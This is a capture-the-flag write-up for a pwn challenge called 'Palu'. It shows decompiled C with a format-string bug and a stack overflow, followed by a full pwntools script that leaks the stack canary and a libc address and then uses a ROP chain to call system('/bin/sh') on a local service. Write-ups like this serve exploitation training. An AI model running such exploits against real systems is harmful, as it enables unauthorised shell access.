palurctf_Palu
1
2
3
4
5
6
7
bamuwe@bamuwe:~/palu$ checksec Palu
[*] '/home/bamuwe/palu/Palu'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Canary found ,so we should try to leak canary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v4; // [rsp+8h] [rbp-88h]
char *ptr; // [rsp+10h] [rbp-80h]
size_t v6; // [rsp+18h] [rbp-78h]
char s1[16]; // [rsp+20h] [rbp-70h] BYREF
char buf[16]; // [rsp+30h] [rbp-60h] BYREF
char s[72]; // [rsp+40h] [rbp-50h] BYREF
unsigned __int64 v10; // [rsp+88h] [rbp-8h]
v10 = __readfsqword(0x28u);
back_door1(argc, argv, envp);
puts("Please tell me your name");
read(0, buf, 0x5DuLL);
printf(buf); // format string
opp11(); // menu
read(0, s1, 2uLL);
if ( !strcmp(s1, "1\n") )
{
puts("Please enter the data you want to encode");
read(0, s, 0x3CuLL);
v4 = strlen(s);
ptr = (char *)palu64_encode(s, v4);
if ( !ptr )
{
puts("Memory allocation failed.");
return 1;
}
printf("palu64 Encoded: %s\n", ptr);
free(ptr);
}
else
{
if ( strcmp(s1, "2\n") )
{
puts("Invalid option");
exit(0);
}
printf("Enter a palu64 string to decode: ");
fgets(s, 60, stdin);
v6 = strlen(s);
if ( s[v6 - 1] == 10 )
s[v6 - 1] = 0;
decode_palu64(s); //use in here
}
return 0;
}
main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
unsigned __int64 __fastcall decode_palu64(const char *a1)
{
char *v1; // rax
int v2; // eax
int v3; // eax
int v4; // eax
char *s; // [rsp+8h] [rbp-68h]
int v7; // [rsp+20h] [rbp-50h]
int i; // [rsp+24h] [rbp-4Ch]
size_t v9; // [rsp+30h] [rbp-40h]
char *haystack; // [rsp+38h] [rbp-38h]
int v11; // [rsp+40h] [rbp-30h]
int v12; // [rsp+44h] [rbp-2Ch]
int v13; // [rsp+48h] [rbp-28h]
int v14; // [rsp+4Ch] [rbp-24h]
char buf[24]; // [rsp+50h] [rbp-20h] BYREF
unsigned __int64 v16; // [rsp+68h] [rbp-8h]
s = (char *)a1;
v16 = __readfsqword(0x28u);
v9 = (3 * strlen(a1)) >> 2;
haystack = (char *)malloc(v9 + 1);
if ( haystack )
{
v7 = 0;
while ( *s )
{
for ( i = 0; i <= 3; ++i )
{
v1 = s++;
*(&v11 + i) = palu64_decode((unsigned int)*v1);
}
v2 = v7++;
haystack[v2] = (4 * v11) | (v12 >> 4);
if ( v13 <= 63 )
{
v3 = v7++;
haystack[v3] = (16 * v12) | (v13 >> 2);
}
if ( v14 <= 63 )
{
v4 = v7++;
haystack[v4] = ((_BYTE)v13 << 6) | v14;
}
}
haystack[v7] = 0;
if ( strstr(haystack, "Palu") ) // check sign
{
puts("A small gift");
read(0, buf, 0xC8uLL); // stackoverflow
}
printf("Decoded string: %s\n", haystack);
free(haystack);
}
else
{
puts("Memory allocation failed.");
}
return __readfsqword(0x28u) ^ v16;
}
decode_palu64
It’s clear , we leak libc
and canary
first by format string , then do an easy ROP
1
2
3
4
5
6
In [11]: from pwn import *
In [12]: elf = ELF('./libc.so.6')
In [13]: hex(elf.sym['__libc_start_main'])
Out[13]: '0x20750'
We got __libc_start_call_main
by format string ,but it’s __libc_start_main
in libc
for real
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
Lib = ELF('./libc.so.6')
io = remote('localhost',47851)
leak_canary = b'%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p*%p.%p?%p'
io.sendlineafter(b'name\n',leak_canary)
io.recvuntil(b'*') #leak canary
canary = int(io.recv(18)[2:],16)
io.recvuntil(b'?') #leak __libc_start_call_main
libc_addr = int(io.recv(14)[2:],16)
success(f'canary>>{hex(canary)}')
success(f"libc_addr>>{hex(libc_addr)}")
pop_rdi = 0x00000000004010a3 #: pop rdi ; ret
ret_addr = 0x0000000000400761 #: ret
base_offset = libc_addr-0x20840 #0x20840 is __libc_start_main in libc
sys_addr = Lib.sym['system']+base_offset
bin_sh_addr = next(Lib.search(b'/bin/sh'))+base_offset
io.sendlineafter(b'options\n',b'2')
io.sendlineafter(b'decode:',b'UGFsdQ==') #Palu
payload = b'A'*24+p64(canary)+p64(0)
payload += p64(pop_rdi)+p64(bin_sh_addr)+p64(ret_addr)+p64(sys_addr) #stack balance
io.sendlineafter('gift\n',payload)
io.sendline(b'cat flag')
io.interactive()
This post is licensed under CC BY 4.0 by the author.